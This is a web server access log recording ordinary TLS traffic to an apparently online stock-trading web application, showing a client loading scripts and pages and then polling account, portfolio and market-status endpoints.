[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/css/jquery.jscrollpane.css HTTP/1.1" 690
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:11:05:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928230041 HTTP/1.1" -
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:05:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928215941 HTTP/1.1" -
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767928218939 HTTP/1.1" 3188
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 124
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 31
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 293
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 223
[09/Jan/2026:11:05:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:11:05:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:11:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928221837 HTTP/1.1" -
[09/Jan/2026:11:05:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1541
[09/Jan/2026:11:05:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928235110 HTTP/1.1" -
[09/Jan/2026:11:05:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928220966 HTTP/1.1" -
[09/Jan/2026:11:05:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928226924 HTTP/1.1" -
[09/Jan/2026:11:05:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928240167 HTTP/1.1" -
[09/Jan/2026:11:05:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:05:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928225991 HTTP/1.1" -
[09/Jan/2026:11:06:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928231972 HTTP/1.1" -
[09/Jan/2026:11:06:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928245228 HTTP/1.1" -
[09/Jan/2026:11:06:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928231028 HTTP/1.1" -
[09/Jan/2026:11:06:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928237114 HTTP/1.1" -
[09/Jan/2026:11:06:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928250256 HTTP/1.1" -
[09/Jan/2026:11:06:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928236045 HTTP/1.1" -
